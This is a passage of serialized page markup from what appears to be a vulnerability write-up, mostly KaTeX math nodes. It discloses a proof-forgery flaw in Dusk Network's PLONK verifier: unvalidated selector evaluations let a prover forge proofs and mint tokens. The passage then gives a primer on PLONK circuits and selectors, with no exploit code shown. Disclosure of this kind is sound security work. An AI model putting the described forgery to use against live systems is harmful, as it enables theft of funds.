",{"type":24,"tag":69,"props":143740,"children":143743},{"href":143741,"rel":143742},"https://dusk.network/",[73],[143744],{"type":29,"value":143745},"Dusk Network's",{"type":29,"value":143747}," ~$60M ",{"type":24,"tag":69,"props":143749,"children":143752},{"href":143750,"rel":143751},"https://www.coingecko.com/en/coins/dusk",[73],[143753],{"type":29,"value":143754},"market cap",{"type":29,"value":143756},". By exploiting a gap in the verification step, a malicious prover could forge verifying proofs for arbitrary false statements, bypassing every constraint in the transaction circuit. On the live ",{"type":24,"tag":69,"props":143758,"children":143761},{"href":143759,"rel":143760},"https://github.com/dusk-network/rusk",[73],[143762],{"type":29,"value":143763},"Rusk",{"type":29,"value":143765}," network, this would have enabled minting arbitrary amounts of DUSK and moving forged shielded funds through the normal Phoenix path.",{"type":24,"tag":25,"props":143767,"children":143768},{},[143769,143771,143776],{"type":29,"value":143770},"The root cause was that the prover slipped four public selector evaluations into the proof struct, and the verifier consumed them in its final equation ",{"type":24,"tag":7711,"props":143772,"children":143773},{},[143774],{"type":29,"value":143775},"without ever validating them against the trusted commitments in the verifier key.",{"type":29,"value":143777}," The prover can set them to whatever values make the equation pass.",{"type":24,"tag":850,"props":143779,"children":143781},{"id":143780},"how-plonk-works-briefly",[143782],{"type":29,"value":143783},"How PLONK works (briefly)",{"type":24,"tag":25,"props":143785,"children":143786},{},[143787,143789,143796],{"type":29,"value":143788},"For a rigorous treatment see the ",{"type":24,"tag":69,"props":143790,"children":143793},{"href":143791,"rel":143792},"https://eprint.iacr.org/2019/953",[73],[143794],{"type":29,"value":143795},"original paper",{"type":29,"value":143797},"; what follows covers only the parts needed to understand the bug.",{"type":24,"tag":25,"props":143799,"children":143800},{},[143801],{"type":29,"value":143802},"A prover wants to convince a verifier that it knows secret inputs satisfying some computation (an arithmetic circuit) without revealing those inputs, and the resulting proof should be short and quick to verify.",{"type":24,"tag":1019,"props":143804,"children":143806},{"id":143805},"arithmetic-circuits-and-constraints",[143807],{"type":29,"value":143808},"Arithmetic circuits and constraints",{"type":24,"tag":25,"props":143810,"children":143811},{},[143812,143814,143863,143865,144014,144016,144099],{"type":29,"value":143813},"An arithmetic circuit is a series of addition and multiplication gates wired together. An example would be proving that we know of some point ",{"type":24,"tag":32,"props":143815,"children":143817},{"className":143816},[6368,6369],[143818],{"type":24,"tag":90,"props":143819,"children":143821},{"className":143820},[6374],[143822],{"type":24,"tag":90,"props":143823,"children":143825},{"className":143824,"ariaHidden":6380},[6379],[143826],{"type":24,"tag":90,"props":143827,"children":143829},{"className":143828},[6385],[143830,143834,143839,143844,143849,143853,143858],{"type":24,"tag":90,"props":143831,"children":143833},{"className":143832,"style":6496},[6390],[],{"type":24,"tag":90,"props":143835,"children":143837},{"className":143836},[23513],[143838],{"type":29,"value":117},{"type":24,"tag":90,"props":143840,"children":143842},{"className":143841},[6396,23384],[143843],{"type":29,"value":21070},{"type":24,"tag":90,"props":143845,"children":143847},{"className":143846},[6507],[143848],{"type":29,"value":6510},{"type":24,"tag":90,"props":143850,"children":143852},{"className":143851,"style":6514},[6475],[],{"type":24,"tag":90,"props":143854,"children":143856},{"className":143855,"style":95363},[6396,23384],[143857],{"type":29,"value":5513},{"type":24,"tag":90,"props":143859,"children":143861},{"className":143860},[23535],[143862],{"type":29,"value":517},{"type":29,"value":143864}," on an elliptic curve, by e.g proving that ",{"type":24,"tag":32,"props":143866,"children":143868},{"className":143867},[6368,6369],[143869],{"type":24,"tag":90,"props":143870,"children":143872},{"className":143871},[6374],[143873],{"type":24,"tag":90,"props":143874,"children":143876},{"className":143875,"ariaHidden":6380},[6379],[143877,143939,144001],{"type":24,"tag":90,"props":143878,"children":143880},{"className":143879},[6385],[143881,143885,143926,143930,143935],{"type":24,"tag":90,"props":143882,"children":143884},{"className":143883,"style":125214},[6390],[],{"type":24,"tag":90,"props":143886,"children":143888},{"className":143887},[6396],[143889,143894],{"type":24,"tag":90,"props":143890,"children":143892},{"className":143891,"style":95363},[6396,23384],[143893],{"type":29,"value":5513},{"type":24,"tag":90,"props":143895,"children":143897},{"className":143896},[6412],[143898],{"type":24,"tag":90,"props":143899,"children":143901},{"className":143900},[6417],[143902],{"type":24,"tag":90,"props":143903,"children":143905},{"className":143904},[6422],[143906],{"type":24,"tag":90,"props":143907,"children":143909},{"className":143908,"style":6391},[6427],[143910],{"type":24,"tag":90,"props":143911,"children":143912},{"style":6431},[143913,143917],{"type":24,"tag":90,"props":143914,"children":143916},{"className":143915,"style":6437},[6436],[],{"type":24,"tag":90,"props":143918,"children":143920},{"className":143919},[6442,6443,6444,6445],[143921],{"type":24,"tag":90,"props":143922,"children":143924},{"className":143923},[6396,6445],[143925],{"type":29,"value":3191},{"type":24,"tag":90,"props":143927,"children":143929},{"className":143928,"style":6573},[6475],[],{"type":24,"tag":90,"props":143931,"children":143933},{"className":143932},[6578],[143934],{"type":29,"value":5491},{"type":24,"tag":90,"props":143936,"children":143938},{"className":143937,"style":6573},[6475],[],{"type":24,"tag":90,"props":143940,"children":143942},{"className":143941},[6385],[143943,143947,143988,143992,143997],{"type":24,"tag":90,"props":143944,"children":143946},{"className":143945,"style":125089},[6390],[],{"type":24,"tag":90,"props":143948,"children":143950},{"className":143949},[6396],[143951,143956],{"type":24,"tag":90,"props":143952,"children":143954},{"className":143953},[6396,23384],[143955],{"type":29,"value":21070},{"type":24,"tag":90,"props":143957,"children":143959},{"className":143958},[6412],[143960],{"type":24,"tag":90,"props":143961,"children":143963},{"className":143962},[6417],[143964],{"type":24,"tag":90,"props":143965,"children":143967},{"className":143966},[6422],[143968],{"type":24,"tag":90,"props":143969,"children":143971},{"className":143970,"style":6391},[6427],[143972],{"type":24,"tag":90,"props":143973,"children":143974},{"style":6431},[143975,143979],{"type":24,"tag":90,"props":143976,"children":143978},{"className":143977,"style":6437},[6436],[],{"type":24,"tag":90,"props":143980,"children":143982},{"className":143981},[6442,6443,6444,6445],[143983],{"type":24,"tag":90,"props":143984,"children":143986},{"className":143985},[6396,6445],[143987],{"type":29,"value":3817},{"type":24,"tag":90,"props":143989,"children":143991},{"className":143990,"style":6476},[6475],[],{"type":24,"tag":90,"props":143993,"children":143995},{"className":143994},[6481],[143996],{"type":29,"value":6767},{"type":24,"tag":90,"props":143998,"children":144000},{"className":143999,"style":6476},[6475],[],{"type":24,"tag":90,"props":144002,"children":144004},{"className":144003},[6385],[144005,144009],{"type":24,"tag":90,"props":144006,"children":144008},{"className":144007,"style":95908},[6390],[],{"type":24,"tag":90,"props":144010,"children":144012},{"className":144011},[6396],[144013],{"type":29,"value":56495},{"type":29,"value":144015},", here in ",{"type":24,"tag":32,"props":144017,"children":144019},{"className":144018},[6368,6369],[144020],{"type":24,"tag":90,"props":144021,"children":144023},{"className":144022},[6374],[144024],{"type":24,"tag":90,"props":144025,"children":144027},{"className":144026,"ariaHidden":6380},[6379],[144028],{"type":24,"tag":90,"props":144029,"children":144031},{"className":144030},[6385],[144032,144037],{"type":24,"tag":90,"props":144033,"children":144036},{"className":144034,"style":144035},[6390],"height:0.8389em;vertical-align:-0.15em;",[],{"type":24,"tag":90,"props":144038,"children":144040},{"className":144039},[6396],[144041,144046],{"type":24,"tag":90,"props":144042,"children":144044},{"className":144043},[6396,123652],[144045],{"type":29,"value":123655},{"type":24,"tag":90,"props":144047,"children":144049},{"className":144048},[6412],[144050],{"type":24,"tag":90,"props":144051,"children":144053},{"className":144052},[6417,23438],[144054,144088],{"type":24,"tag":90,"props":144055,"children":144057},{"className":144056},[6422],[144058,144083],{"type":24,"tag":90,"props":144059,"children":144061},{"className":144060,"style":94929},[6427],[144062],{"type":24,"tag":90,"props":144063,"children":144064},{"style":94933},[144065,144069],{"type":24,"tag":90,"props":144066,"children":144068},{"className":144067,"style":6437},[6436],[],{"type":24,"tag":90,"props":144070,"children":144072},{"className":144071},[6442,6443,6444,6445],[144073],{"type":24,"tag":90,"props":144074,"children":144076},{"className":144075},[6396,6445],[144077],{"type":24,"tag":90,"props":144078,"children":144080},{"className":144079},[6396,6445],[144081],{"type":29,"value":144082},"37",{"type":24,"tag":90,"props":144084,"children":144086},{"className":144085},[23541],[144087],{"type":29,"value":23544},{"type":24,"tag":90,"props":144089,"children":144091},{"className":144090},[6422],[144092],{"type":24,"tag":90,"props":144093,"children":144095},{"className":144094,"style":94960},[6427],[144096],{"type":24,"tag":90,"props":144097,"children":144098},{},[],{"type":29,"value":226},{"type":24,"tag":144101,"props":144102,"children":144103},"arithmetic-circuit-widget",{},[],{"type":24,"tag":25,"props":144105,"children":144106},{},[144107,144109,144135,144137,144216,144218,144295,144297,144374],{"type":29,"value":144108},"Each gate ",{"type":24,"tag":32,"props":144110,"children":144112},{"className":144111},[6368,6369],[144113],{"type":24,"tag":90,"props":144114,"children":144116},{"className":144115},[6374],[144117],{"type":24,"tag":90,"props":144118,"children":144120},{"className":144119,"ariaHidden":6380},[6379],[144121],{"type":24,"tag":90,"props":144122,"children":144124},{"className":144123},[6385],[144125,144130],{"type":24,"tag":90,"props":144126,"children":144129},{"className":144127,"style":144128},[6390],"height:0.6595em;",[],{"type":24,"tag":90,"props":144131,"children":144133},{"className":144132},[6396,23384],[144134],{"type":29,"value":6123},{"type":29,"value":144136}," has a left input ",{"type":24,"tag":32,"props":144138,"children":144140},{"className":144139},[6368,6369],[144141],{"type":24,"tag":90,"props":144142,"children":144144},{"className":144143},[6374],[144145],{"type":24,"tag":90,"props":144146,"children":144148},{"className":144147,"ariaHidden":6380},[6379],[144149],{"type":24,"tag":90,"props":144150,"children":144152},{"className":144151},[6385],[144153,144158],{"type":24,"tag":90,"props":144154,"children":144157},{"className":144155,"style":144156},[6390],"height:0.8444em;vertical-align:-0.15em;",[],{"type":24,"tag":90,"props":144159,"children":144161},{"className":144160},[6396],[144162,144167],{"type":24,"tag":90,"props":144163,"children":144165},{"className":144164,"style":94889},[6396,23384],[144166],{"type":29,"value":94892},{"type":24,"tag":90,"props":144168,"children":144170},{"className":144169},[6412],[144171],{"type":24,"tag":90,"props":144172,"children":144174},{"className":144173},[6417,23438],[144175,144205],{"type":24,"tag":90,"props":144176,"children":144178},{"className":144177},[6422],[144179,144200],{"type":24,"tag":90,"props":144180,"children":144182},{"className":144181,"style":95406},[6427],[144183],{"type":24,"tag":90,"props":144184,"children":144186},{"style":144185},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[144187,144191],{"type":24,"tag":90,"props":144188,"children":144190},{"className":144189,"style":6437},[6436],[],{"type":24,"tag":90,"props":144192,"children":144194},{"className":144193},[6442,6443,6444,6445],[144195],{"type":24,"tag":90,"props":144196,"children":144198},{"className":144197},[6396,23384,6445],[144199],{"type":29,"value":6123},{"type":24,"tag":90,"props":144201,"children":144203},{"className":144202},[23541],[144204],{"type":29,"value":23544},{"type":24,"tag":90,"props":144206,"children":144208},{"className":144207},[6422],[144209],{"type":24,"tag":90,"props":144210,"children":144212},{"className":144211,"style":94960},[6427],[144213],{"type":24,"tag":90,"props":144214,"children":144215},{},[],{"type":29,"value":144217},", right input ",{"type":24,"tag":32,"props":144219,"children":144221},{"className":144220},[6368,6369],[144222],{"type":24,"tag":90,"props":144223,"children":144225},{"className":144224},[6374],[144226],{"type":24,"tag":90,"props":144227,"children":144229},{"className":144228,"ariaHidden":6380},[6379],[144230],{"type":24,"tag":90,"props":144231,"children":144233},{"className":144232},[6385],[144234,144238],{"type":24,"tag":90,"props":144235,"children":144237},{"className":144236,"style":111847},[6390],[],{"type":24,"tag":90,"props":144239,"children":144241},{"className":144240},[6396],[144242,144247],{"type":24,"tag":90,"props":144243,"children":144245},{"className":144244,"style":94877},[6396,23384],[144246],{"type":29,"value":95696},{"type":24,"tag":90,"props":144248,"children":144250},{"className":144249},[6412],[144251],{"type":24,"tag":90,"props":144252,"children":144254},{"className":144253},[6417,23438],[144255,144284],{"type":24,"tag":90,"props":144256,"children":144258},{"className":144257},[6422],[144259,144279],{"type":24,"tag":90,"props":144260,"children":144262},{"className":144261,"style":95406},[6427],[144263],{"type":24,"tag":90,"props":144264,"children":144265},{"style":111876},[144266,144270],{"type":24,"tag":90,"props":144267,"children":144269},{"className":144268,"style":6437},[6436],[],{"type":24,"tag":90,"props":144271,"children":144273},{"className":144272},[6442,6443,6444,6445],[144274],{"type":24,"tag":90,"props":144275,"children":144277},{"className":144276},[6396,23384,6445],[144278],{"type":29,"value":6123},{"type":24,"tag":90,"props":144280,"children":144282},{"className":144281},[23541],[144283],{"type":29,"value":23544},{"type":24,"tag":90,"props":144285,"children":144287},{"className":144286},[6422],[144288],{"type":24,"tag":90,"props":144289,"children":144291},{"className":144290,"style":94960},[6427],[144292],{"type":24,"tag":90,"props":144293,"children":144294},{},[],{"type":29,"value":144296},", and output ",{"type":24,"tag":32,"props":144298,"children":144300},{"className":144299},[6368,6369],[144301],{"type":24,"tag":90,"props":144302,"children":144304},{"className":144303},[6374],[144305],{"type":24,"tag":90,"props":144306,"children":144308},{"className":144307,"ariaHidden":6380},[6379],[144309],{"type":24,"tag":90,"props":144310,"children":144312},{"className":144311},[6385],[144313,144317],{"type":24,"tag":90,"props":144314,"children":144316},{"className":144315,"style":111847},[6390],[],{"type":24,"tag":90,"props":144318,"children":144320},{"className":144319},[6396],[144321,144326],{"type":24,"tag":90,"props":144322,"children":144324},{"className":144323},[6396,23384],[144325],{"type":29,"value":94847},{"type":24,"tag":90,"props":144327,"children":144329},{"className":144328},[6412],[144330],{"type":24,"tag":90,"props":144331,"children":144333},{"className":144332},[6417,23438],[144334,144363],{"type":24,"tag":90,"props":144335,"children":144337},{"className":144336},[6422],[144338,144358],{"type":24,"tag":90,"props":144339,"children":144341},{"className":144340,"style":95406},[6427],[144342],{"type":24,"tag":90,"props":144343,"children":144344},{"style":94933},[144345,144349],{"type":24,"tag":90,"props":144346,"children":144348},{"className":144347,"style":6437},[6436],[],{"type":24,"tag":90,"props":144350,"children":144352},{"className":144351},[6442,6443,6444,6445],[144353],{"type":24,"tag":90,"props":144354,"children":144356},{"className":144355},[6396,23384,6445],[144357],{"type":29,"value":6123},{"type":24,"tag":90,"props":144359,"children":144361},{"className":144360},[23541],[144362],{"type":29,"value":23544},{"type":24,"tag":90,"props":144364,"children":144366},{"className":144365},[6422],[144367],{"type":24,"tag":90,"props":144368,"children":144370},{"className":144369,"style":94960},[6427],[144371],{"type":24,"tag":90,"props":144372,"children":144373},{},[],{"type":29,"value":144375},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":24,"tag":25,"props":144377,"children":144378},{},[144379,144381,144386,144388,144492,144494,144597,144599,144604],{"type":29,"value":144380},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":24,"tag":842,"props":144382,"children":144383},{},[144384],{"type":29,"value":144385},"selector",{"type":29,"value":144387}," values that act as switches: setting ",{"type":24,"tag":32,"props":144389,"children":144391},{"className":144390},[6368,6369],[144392],{"type":24,"tag":90,"props":144393,"children":144395},{"className":144394},[6374],[144396],{"type":24,"tag":90,"props":144397,"children":144399},{"className":144398,"ariaHidden":6380},[6379],[144400,144479],{"type":24,"tag":90,"props":144401,"children":144403},{"className":144402},[6385],[144404,144408,144466,144470,144475],{"type":24,"tag":90,"props":144405,"children":144407},{"className":144406,"style":111767},[6390],[],{"type":24,"tag":90,"props":144409,"children":144411},{"className":144410},[6396],[144412,144417],{"type":24,"tag":90,"props":144413,"children":144415},{"className":144414,"style":95363},[6396,23384],[144416],{"type":29,"value":95366},{"type":24,"tag":90,"props":144418,"children":144420},{"className":144419},[6412],[144421],{"type":24,"tag":90,"props":144422,"children":144424},{"className":144423},[6417,23438],[144425,144455],{"type":24,"tag":90,"props":144426,"children":144428},{"className":144427},[6422],[144429,144450],{"type":24,"tag":90,"props":144430,"children":144433},{"className":144431,"style":144432},[6427],"height:0.3283em;",[144434],{"type":24,"tag":90,"props":144435,"children":144436},{"style":95410},[144437,144441],{"type":24,"tag":90,"props":144438,"children":144440},{"className":144439,"style":6437},[6436],[],{"type":24,"tag":90,"props":144442,"children":144444},{"className":144443},[6442,6443,6444,6445],[144445],{"type":24,"tag":90,"props":144446,"children":144448},{"className":144447,"style":96885},[6396,23384,6445],[144449],{"type":29,"value":96888},{"type":24,"tag":90,"props":144451,"children":144453},{"className":144452},[23541],[144454],{"type":29,"value":23544},{"type":24,"tag":90,"props":144456,"children":144458},{"className":144457},[6422],[144459],{"type":24,"tag":90,"props":144460,"children":144462},{"className":144461,"style":94960},[6427],[144463],{"type":24,"tag":90,"props":144464,"children":144465},{},[],{"type":24,"tag":90,"props":144467,"children":144469},{"className":144468,"style":6573},[6475],[],{"type":24,"tag":90,"props":144471,"children":144473},{"className":144472},[6578],[144474],{"type":29,"value":5491},{"type":24,"tag":90,"props":144476,"children":144478},{"className":144477,"style":6573},[6475],[],{"type":24,"tag":90,"props":144480,"children":144482},{"className":144481},[6385],[144483,144487],{"type":24,"tag":90,"props":144484,"children":144486},{"className":144485,"style":95908},[6390],[],{"type":24,"tag":90,"props":144488,"children":144490},{"className":144489},[6396],[144491],{"type":29,"value":534},{"type":29,"value":144493}," makes a row a multiplication gate, setting ",{"type":24,"tag":32,"props":144495,"children":144497},{"className":144496},[6368,6369],[144498],{"type":24,"tag":90,"props":144499,"children":144501},{"className":144500},[6374],[144502],{"type":24,"tag":90,"props":144503,"children":144505},{"className":144504,"ariaHidden":6380},[6379],[144506,144584],{"type":24,"tag":90,"props":144507,"children":144509},{"className":144508},[6385],[144510,144514,144571,144575,144580],{"type":24,"tag":90,"props":144511,"children":144513},{"className":144512,"style":111767},[6390],[],{"type":24,"tag":90,"props":144515,"children":144517},{"className":144516},[6396],[144518,144523],{"type":24,"tag":90,"props":144519,"children":144521},{"className":144520,"style":95363},[6396,23384],[144522],{"type":29,"value":95366},{"type":24,"tag":90,"props":144524,"children":144526},{"className":144525},[6412],[144527],{"type":24,"tag":90,"props":144528,"children":144530},{"className":144529},[6417,23438],[144531,144560],{"type":24,"tag":90,"props":144532,"children":144534},{"className":144533},[6422],[144535,144555],{"type":24,"tag":90,"props":144536,"children":144538},{"className":144537,"style":144432},[6427],[144539],{"type":24,"tag":90,"props":144540,"children":144541},{"style":95410},[144542,144546],{"type":24,"tag":90,"props":144543,"children":144545},{"className":144544,"style":6437},[6436],[],{"type":24,"tag":90,"props":144547,"children":144549},{"className":144548},[6442,6443,6444,6445],[144550],{"type":24,"tag":90,"props":144551,"children":144553},{"className":144552},[6396,23384,6445],[144554],{"type":29,"value":119841},{"type":24,"tag":90,"props":144556,"children":144558},{"className":144557},[23541],[144559],{"type":29,"value":23544},{"type":24,"tag":90,"props":144561,"children":144563},{"className":144562},[6422],[144564],{"type":24,"tag":90,"props":144565,"children":144567},{"className":144566,"style":94960},[6427],[144568],{"type":24,"tag":90,"props":144569,"children":144570},{},[],{"type":24,"tag":90,"props":144572,"children":144574},{"className":144573,"style":6573},[6475],[],{"type":24,"tag":90,"props":144576,"children":144578},{"className":144577},[6578],[144579],{"type":29,"value":5491},{"type":24,"tag":90,"props":144581,"children":144583},{"className":144582,"style":6573},[6475],[],{"type":24,"tag":90,"props":144585,"children":144587},{"className":144586},[6385],[144588,144592],{"type":24,"tag":90,"props":144589,"children":144591},{"className":144590,"style":95908},[6390],[],{"type":24,"tag":90,"props":144593,"children":144595},{"className":144594},[6396],[144596],{"type":29,"value":534},{"type":29,"value":144598}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":24,"tag":842,"props":144600,"children":144601},{},[144602],{"type":29,"value":144603},"permutation argument",{"type":29,"value":144605}," for that, which we will not cover here.",{"type":24,"tag":1019,"props":144607,"children":144609},{"id":144608},"from-many-checks-to-one",[144610],{"type":29,"value":144611},"From many checks to one",{"type":24,"tag":25,"props":144613,"children":144614},{},[144615,144617,144622,144623,144715,144716,144808,144809,144901,144903,144908,144909,145001,145002,145094,145096,145121,145123,145148,145150,145242,145244,145269,145271,145296],{"type":29,"value":144616},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":24,"tag":842,"props":144618,"children":144619},{},[144620],{"type":29,"value":144621},"witness polynomials",{"type":29,"value":2877},{"type":24,"tag":32,"props":144624,"children":144626},{"className":144625},[6368,6369],[144627],{"type":24,"tag":90,"props":144628,"children":144630},{"className":144629},[6374],[144631],{"type":24,"tag":90,"props":144632,"children":144634},{"className":144633,"ariaHidden":6380},[6379],[144635],{"type":24,"tag":90,"props":144636,"children":144638},{"className":144637},[6385],[144639,144643,144700,144705,144710],{"type":24,"tag":90,"props":144640,"children":144642},{"className":144641,"style":6496},[6390],[],{"type":24,"tag":90,"props":144644,"children":144646},{"className":144645},[6396],[144647,144652],{"type":24,"tag":90,"props":144648,"children":144650},{"className":144649,"style":97231},[6396,23384],[144651],{"type":29,"value":34899},{"type":24,"tag":90,"props":144653,"children":144655},{"className":144654},[6412],[144656],{"type":24,"tag":90,"props":144657,"children":144659},{"className":144658},[6417,23438],[144660,144689],{"type":24,"tag":90,"props":144661,"children":144663},{"className":144662},[6422],[144664,144684],{"type":24,"tag":90,"props":144665,"children":144667},{"className":144666,"style":144432},[6427],[144668],{"type":24,"tag":90,"props":144669,"children":144670},{"style":97252},[144671,144675],{"type":24,"tag":90,"props":144672,"children":144674},{"className":144673,"style":6437},[6436],[],{"type":24,"tag":90,"props":144676,"children":144678},{"className":144677},[6442,6443,6444,6445],[144679],{"type":24,"tag":90,"props":144680,"children":144682},{"className":144681},[6396,23384,6445],[144683],{"type":29,"value":119841},{"type":24,"tag":90,"props":144685,"children":144687},{"className":144686},[23541],[144688],{"type":29,"value":23544},{"type":24,"tag":90,"props":144690,"children":144692},{"className":144691},[6422],[144693],{"type":24,"tag":90,"props":144694,"children":144696},{"className":144695,"style":94960},[6427],[144697],{"type":24,"tag":90,"props":144698,"children":144699},{},[],{"type":24,"tag":90,"props":144701,"children":144703},{"className":144702},[23513],[144704],{"type":29,"value":117},{"type":24,"tag":90,"props":144706,"children":144708},{"className":144707},[6396,23384],[144709],{"type":29,"value":21070},{"type":24,"tag":90,"props":144711,"children":144713},{"className":144712},[23535],[144714],{"type":29,"value":517},{"type":29,"value":133},{"type":24,"tag":32,"props":144717,"children":144719},{"className":144718},[6368,6369],[144720],{"type":24,"tag":90,"props":144721,"children":144723},{"className":144722},[6374],[144724],{"type":24,"tag":90,"props":144725,"children":144727},{"className":144726,"ariaHidden":6380},[6379],[144728],{"type":24,"tag":90,"props":144729,"children":144731},{"className":144730},[6385],[144732,144736,144793,144798,144803],{"type":24,"tag":90,"props":144733,"children":144735},{"className":144734,"style":6496},[6390],[],{"type":24,"tag":90,"props":144737,"children":144739},{"className":144738},[6396],[144740,144745],{"type":24,"tag":90,"props":144741,"children":144743},{"className":144742,"style":97231},[6396,23384],[144744],{"type":29,"value":34899},{"type":24,"tag":90,"props":144746,"children":144748},{"className":144747},[6412],[144749],{"type":24,"tag":90,"props":144750,"children":144752},{"className":144751},[6417,23438],[144753,144782],{"type":24,"tag":90,"props":144754,"children":144756},{"className":144755},[6422],[144757,144777],{"type":24,"tag":90,"props":144758,"children":144760},{"className":144759,"style":144432},[6427],[144761],{"type":24,"tag":90,"props":144762,"children":144763},{"style":97252},[144764,144768],{"type":24,"tag":90,"props":144765,"children":144767},{"className":144766,"style":6437},[6436],[],{"type":24,"tag":90,"props":144769,"children":144771},{"className":144770},[6442,6443,6444,6445],[144772],{"type":24,"tag":90,"props":144773,"children":144775},{"className":144774,"style":124654},[6396,23384,6445],[144776],{"type":29,"value":124657},{"type":24,"tag":90,"props":144778,"children":144780},{"className":144779},[23541],[144781],{"type":29,"value":23544},{"type":24,"tag":90,"props":144783,"children":144785},{"className":144784},[6422],[144786],{"type":24,"tag":90,"props":144787,"children":144789},{"className":144788,"style":94960},[6427],[144790],{"type":24,"tag":90,"props":144791,"children":144792},{},[],{"type":24,"tag":90,"props":144794,"children":144796},{"className":144795},[23513],[144797],{"type":29,"value":117},{"type":24,"tag":90,"props":144799,"children":144801},{"className":144800},[6396,23384],[144802],{"type":29,"value":21070},{"type":24,"tag":90,"props":144804,"children":144806},{"className":144805},[23535],[144807],{"type":29,"value":517},{"type":29,"value":133},{"type":24,"tag":32,"props":144810,"children":144812},{"className":144811},[6368,6369],[144813],{"type":24,"tag":90,"props":144814,"children":144816},{"className":144815},[6374],[144817],{"type":24,"tag":90,"props":144818,"children":144820},{"className":144819,"ariaHidden":6380},[6379],[144821],{"type":24,"tag":90,"props":144822,"children":144824},{"className":144823},[6385],[144825,144829,144886,144891,144896],{"type":24,"tag":90,"props":144826,"children":144828},{"className":144827,"style":6496},[6390],[],{"type":24,"tag":90,"props":144830,"children":144832},{"className":144831},[6396],[144833,144838],{"type":24,"tag":90,"props":144834,"children":144836},{"className":144835,"style":97231},[6396,23384],[144837],{"type":29,"value":34899},{"type":24,"tag":90,"props":144839,"children":144841},{"className":144840},[6412],[144842],{"type":24,"tag":90,"props":144843,"children":144845},{"className":144844},[6417,23438],[144846,144875],{"type":24,"tag":90,"props":144847,"children":144849},{"className":144848},[6422],[144850,144870],{"type":24,"tag":90,"props":144851,"children":144853},{"className":144852,"style":144432},[6427],[144854],{"type":24,"tag":90,"props":144855,"children":144856},{"style":97252},[144857,144861],{"type":24,"tag":90,"props":144858,"children":144860},{"className":144859,"style":6437},[6436],[],{"type":24,"tag":90,"props":144862,"children":144864},{"className":144863},[6442,6443,6444,6445],[144865],{"type":24,"tag":90,"props":144866,"children":144868},{"className":144867,"style":94877},[6396,23384,6445],[144869],{"type":29,"value":117196},{"type":24,"tag":90,"props":144871,"children":144873},{"className":144872},[23541],[144874],{"type":29,"value":23544},{"type":24,"tag":90,"props":144876,"children":144878},{"className":144877},[6422],[144879],{"type":24,"tag":90,"props":144880,"children":144882},{"className":144881,"style":94960},[6427],[144883],{"type":24,"tag":90,"props":144884,"children":144885},{},[],{"type":24,"tag":90,"props":144887,"children":144889},{"className":144888},[23513],[144890],{"type":29,"value":117},{"type":24,"tag":90,"props":144892,"children":144894},{"className":144893},[6396,23384],[144895],{"type":29,"value":21070},{"type":24,"tag":90,"props":144897,"children":144899},{"className":144898},[23535],[144900],{"type":29,"value":517},{"type":29,"value":144902}," and the selectors become ",{"type":24,"tag":842,"props":144904,"children":144905},{},[144906],{"type":29,"value":144907},"selector polynomials",{"type":29,"value":2877},{"type":24,"tag":32,"props":144910,"children":144912},{"className":144911},[6368,6369],[144913],{"type":24,"tag":90,"props":144914,"children":144916},{"className":144915},[6374],[144917],{"type":24,"tag":90,"props":144918,"children":144920},{"className":144919,"ariaHidden":6380},[6379],[144921],{"type":24,"tag":90,"props":144922,"children":144924},{"className":144923},[6385],[144925,144929,144986,144991,144996],{"type":24,"tag":90,"props":144926,"children":144928},{"className":144927,"style":6496},[6390],[],{"type":24,"tag":90,"props":144930,"children":144932},{"className":144931},[6396],[144933,144938],{"type":24,"tag":90,"props":144934,"children":144936},{"className":144935},[6396,23384],[144937],{"type":29,"value":78632},{"type":24,"tag":90,"props":144939,"children":144941},{"className":144940},[6412],[144942],{"type":24,"tag":90,"props":144943,"children":144945},{"className":144944},[6417,23438],[144946,144975],{"type":24,"tag":90,"props":144947,"children":144949},{"className":144948},[6422],[144950,144970],{"type":24,"tag":90,"props":144951,"children":144953},{"className":144952,"style":144432},[6427],[144954],{"type":24,"tag":90,"props":144955,"children":144956},{"style":94933},[144957,144961],{"type":24,"tag":90,"props":144958,"children":144960},{"className":144959,"style":6437},[6436],[],{"type":24,"tag":90,"props":144962,"children":144964},{"className":144963},[6442,6443,6444,6445],[144965],{"type":24,"tag":90,"props":144966,"children":144968},{"className":144967,"style":96885},[6396,23384,6445],[144969],{"type":29,"value":96888},{"type":24,"tag":90,"props":144971,"children":144973},{"className":144972},[23541],[144974],{"type":29,"value":23544},{"type":24,"tag":90,"props":144976,"children":144978},{"className":144977},[6422],[144979],{"type":24,"tag":90,"props":144980,"children":144982},{"className":144981,"style":94960},[6427],[144983],{"type":24,"tag":90,"props":144984,"children":144985},{},[],{"type":24,"tag":90,"props":144987,"children":144989},{"className":144988},[23513],[144990],{"type":29,"value":117},{"type":24,"tag":90,"props":144992,"children":144994},{"className":144993},[6396,23384],[144995],{"type":29,"value":21070},{"type":24,"tag":90,"props":144997,"children":144999},{"className":144998},[23535],[145000],{"type":29,"value":517},{"type":29,"value":133},{"type":24,"tag":32,"props":145003,"children":145005},{"className":145004},[6368,6369],[145006],{"type":24,"tag":90,"props":145007,"children":145009},{"className":145008},[6374],[145010],{"type":24,"tag":90,"props":145011,"children":145013},{"className":145012,"ariaHidden":6380},[6379],[145014],{"type":24,"tag":90,"props":145015,"children":145017},{"className":145016},[6385],[145018,145022,145079,145084,145089],{"type":24,"tag":90,"props":145019,"children":145021},{"className":145020,"style":6496},[6390],[],{"type":24,"tag":90,"props":145023,"children":145025},{"className":145024},[6396],[145026,145031],{"type":24,"tag":90,"props":145027,"children":145029},{"className":145028},[6396,23384],[145030],{"type":29,"value":78632},{"type":24,"tag":90,"props":145032,"children":145034},{"className":145033},[6412],[145035],{"type":24,"tag":90,"props":145036,"children":145038},{"className":145037},[6417,23438],[145039,145068],{"type":24,"tag":90,"props":145040,"children":145042},{"className":145041},[6422],[145043,145063],{"type":24,"tag":90,"props":145044,"children":145046},{"className":145045,"style":144432},[6427],[145047],{"type":24,"tag":90,"props":145048,"children":145049},{"style":94933},[145050,145054],{"type":24,"tag":90,"props":145051,"children":145053},{"className":145052,"style":6437},[6436],[],{"type":24,"tag":90,"props":145055,"children":145057},{"className":145056},[6442,6443,6444,6445],[145058],{"type":24,"tag":90,